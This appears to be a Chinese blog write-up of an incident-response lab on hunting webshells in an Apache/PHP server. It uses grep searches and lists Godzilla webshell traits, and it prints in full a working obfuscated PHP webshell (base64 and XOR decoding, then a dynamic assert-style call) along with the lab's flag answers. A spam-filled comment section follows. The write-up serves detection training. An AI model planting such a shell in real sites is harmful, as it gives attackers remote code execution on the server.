玄机应急响应第一章应急响应-webshell的查杀

6个月前发布

1984621

20240430082633370-图片

连接上靶机过后直接查看日志

cd /var/log

20240430082740667-图片

发现是通过apache搭建的web服务

也可查看外联和端口开开放情况

netstat -pantu

20240430082830516-图片

这里也可以确定开启了apache服务也确实为apache + php

接下来查看木马文件

一个一个文件看不现实直接使用find命令去匹配shell字段中可能存在的敏感字段去查找webshell

find ./ -name "*.php" |xargs grep "eval("

20240430082923121-图片

查找到三个文件

下面来看第一个./include/gz.php

20240430082954522-图片

发现第一个隐藏的flag flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

其实这个一眼可以看出来是哥斯拉

哥斯拉php马特征

session_start() 创建或者重启一个会话
@set_time_limit(0) 设置程序最长运行时间永远
@error_reporting(0) 关闭错误报告
$key=xxxxxxxxx 加解密的盐值

哥斯拉php马的利用逻辑：

第一次通信时，服务端通过POST方式传递一个名叫pass的参数给木马，给pass参数赋的值是加密后的一组用”|”隔开的方法，也就是接下来要使用的攻击荷载。荷载在解密后被存入SESSION，供之后使用。

从第二次通信开始，pass传入的是远控命令，通过攻击荷载中的run()方法执行远控命令。然后对回显进行加密后传输给哥斯拉的服务端。

所以第二个flag就是Godzilla的github地址的md5值

https://github.com/BeichenDream/Godzilla

Flag2: flag{39392DE3218C333F794BEFEF07AC9257}

接着来看找到的第二个shell ./include/Db/.Mysqli.php

当我们进入目标文件夹时，用ls显示文件看到的只是正常的数据库配置文件

20240430083246816-图片

该webshell通过以 ‘.’ 开头对shell命名，得到的文件就是隐藏文件，这时得使用

ls -a

20240430083323142-图片

20240430083350846-图片

典型的哥斯拉马子特征

所以第三个flag 为该shell的地址：/var/www/html/include/Db/.Mysqli.php

Flag3: flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}

第三个所发现的shell就是来混淆我们的一句话木马

这时还差一个免杀马没有找到

php免杀马通常字符串异或加密、base家族加密、rot13加密字符串拼接等方式实现

这里尝试最常见的base64编码，同样也是通过find去匹配关键字查询

find ./ -name "*.php" | xargs grep "base64_decode"

20240430083607184-图片

20240430083628948-图片

<?php  $key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7]; }
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

该免杀马首先使用base64对于接收到的func参数进行加密，以绕过黑名单检查，再使用key对加密的内容进行异或加密，然后通过$a.$s.$_GET[“func2”] 拼接的方式来动态调用，绕过静态检验。

所以第三个flag 为该shell的地址：/var/www/html/wap/top.php

Flag4: flag{EEFF2EABFD9B7A6D26FC1A53D3F7D1DE}

总结

哥斯拉php马的特征：

webshell配置，常见于文件头session_start(); @set_time_limit(0); @error_reporting(0);
默认的加解密盐值：3c6e0b8a9c15224a
有一个向SESSION中存储攻击荷载的过程，就是会有一个$_SESSION[$XXX]=P的过程

------本文已结束，感谢您的阅读------

THE END

CTF比赛题解
# #玄机应急响应

喜欢就支持一下吧

相关推荐

评论共19条

请登录后发表评论

登录注册

只看作者

- seo services0
  Your exemplary work demonstrates remarkable potential. With strategic enhancements, this foundation can be transformed into a pioneering contribution that advances the field and solidifies your position as an industry authority.
  3个月前回复
- internation seo company0
  Your article holds considerable promise, showcasing insightful ideas and a solid foundation. To elevate it to a truly outstanding level, consider the following enhancements: Deepen your analysis by exploring key concepts more thoroughly, providing nuanced explanations, and addressing potential counterarguments. Strengthen your arguments with additional evidence, including peer-reviewed sources, relevant statistics, and illustrative case studies. Refine your writing style to engage advanced readers by varying sentence structures, employing more sophisticated vocabulary, and ensuring each paragraph flows seamlessly into the next. Enhance the overall narrative arc by crafting a more compelling introduction that clearly outlines your thesis and a conclusion that reinforces your key points while highlighting broader implications. Incorporate a more critical examination of alternative viewpoints to demonstrate a comprehensive understanding of the topic and preemptively address potential critiques. Elaborate on the practical implications and real-world applications of your arguments to increase the relevance and impact of your work. Draw connections to related fields or concepts, broadening the scope and appeal of your article while showcasing its interdisciplinary significance. Consider incorporating more vivid examples or analogies to illustrate complex ideas, making your work more accessible without sacrificing depth. If appropriate, include visual elements such as graphs, charts, or infographics to support your textual arguments and appeal to visual learners. Ensure your conclusion not only summarizes your main points but also opens up avenues for further research or discussion, encouraging ongoing engagement with your ideas. Your innovative approach and clear writing provide an excellent foundation, and by implementing these suggestions, you can transform your already solid work into an exceptional piece that resonates deeply with a professional audience and makes a significant contribution to your field. The potential for greatness in your work is evident. Your commitment to excellence shines through, and I'm confident that your continued efforts and refinements will yield truly impressive results. I eagerly anticipate seeing how you build upon these strengths in your future endeavors, further establishing yourself as a thought leader in your area of expertise.
  3个月前回复
- Timmothy Emmerich0
  In a world where sharing and managing digital files have become crucial, FlashUpload.cloud stands out as an indispensable online storage solution. Whether you are an occasional user or a professional looking for a reliable and efficient platform, FlashUpload.cloud has something to offer everyone. In this blog post, we will explore the benefits and unique features of FlashUpload.cloud, with a focus on its premium membership plans.
  3个月前回复
- elektriker gesundbrunnen0
  Your article demonstrates an exceptional level of professionalism and expertise. The thoroughness and depth with which you have covered the topic are truly impressive. Readers will greatly benefit from the valuable insights and practical advice you have shared. The clarity of your understanding is evident throughout the entire piece. I anticipate more of your high-quality work in the future. Thank you for offering your profound knowledge and providing such a detailed and enlightening resource.
  4个月前回复
- teppichreinigung München0
  Your article demonstrates an exceptional level of professionalism and expertise. The thoroughness and depth with which you have covered the topic are truly impressive. Readers will greatly benefit from the valuable insights and practical advice you have shared. The clarity of your understanding is evident throughout the entire piece. I anticipate more of your high-quality work in the future. Thank you for offering your profound knowledge and providing such a detailed and enlightening resource.
  4个月前回复
- elektriker gesundbrunnen0
  Your article demonstrates an exceptional level of professionalism and expertise. The thoroughness and depth with which you have covered the topic are truly impressive. Readers will greatly benefit from the valuable insights and practical advice you have shared. The clarity of your understanding is evident throughout the entire piece. I anticipate more of your high-quality work in the future. Thank you for offering your profound knowledge and providing such a detailed and enlightening resource.
  4个月前回复
- teppichreinigung münchen0
  Your article demonstrates an exceptional level of professionalism and expertise. The thoroughness and depth with which you have covered the topic are truly impressive. Readers will greatly benefit from the valuable insights and practical advice you have shared. The clarity of your understanding is evident throughout the entire piece. I anticipate more of your high-quality work in the future. Thank you for offering your profound knowledge and providing such a detailed and enlightening resource.
  4个月前回复
- Daftar Rajaspin0
  Artikelnya informatif, banyak info yang belum aku tau sebelumnya.
  5个月前回复
- Kian Hand0
  I do not even know how I ended up here but I thought this post was great I do not know who you are but certainly youre going to a famous blogger if you are not already Cheers
  5个月前回复
- Elody Luettgen0
  Your articles never fail to captivate me. Each one is a testament to your expertise and dedication to your craft. Thank you for sharing your wisdom with the world.
  5个月前回复
- Ivy Mante0
  you are in reality a good webmaster The website loading velocity is amazing It sort of feels that youre doing any distinctive trick Also The contents are masterwork you have done a fantastic job in this topic
  5个月前回复
- Lawrence Smith0
  helloI really like your writing so a lot share we keep up a correspondence extra approximately your post on AOL I need an expert in this house to unravel my problem May be that is you Taking a look ahead to see you
  5个月前回复
- Dayne Lynch0
  My brother suggested I might like this website He was totally right This post actually made my day You cannt imagine just how much time I had spent for this information Thanks
  5个月前回复
- Wilhelm Murray0
  Somebody essentially help to make significantly articles Id state This is the first time I frequented your web page and up to now I surprised with the research you made to make this actual post incredible Fantastic job
  5个月前回复
- Amos Hauck0
  Hello Neat post Theres an issue together with your site in internet explorer would check this IE still is the marketplace chief and a large element of other folks will leave out your magnificent writing due to this problem
  5个月前回复
- Domenico Medhurst0
  Thank you for the auspicious writeup It in fact was a amusement account it Look advanced to more added agreeable from you By the way how could we communicate
  5个月前回复
- Joel Stamm0
  Hi Neat post There is a problem along with your website in internet explorer would test this IE still is the market chief and a good section of other folks will pass over your magnificent writing due to this problem
  5个月前回复
- Kay Torphy0
  I do not even know how I ended up here but I thought this post was great I do not know who you are but certainly youre going to a famous blogger if you are not already Cheers
  5个月前回复
- kk0
  4佬yyds
  6个月前回复

玄机应急响应第一章 应急响应-webshell的查杀

哥斯拉php马特征

总结

请登录后发表评论

玄机应急响应第一章应急响应-webshell的查杀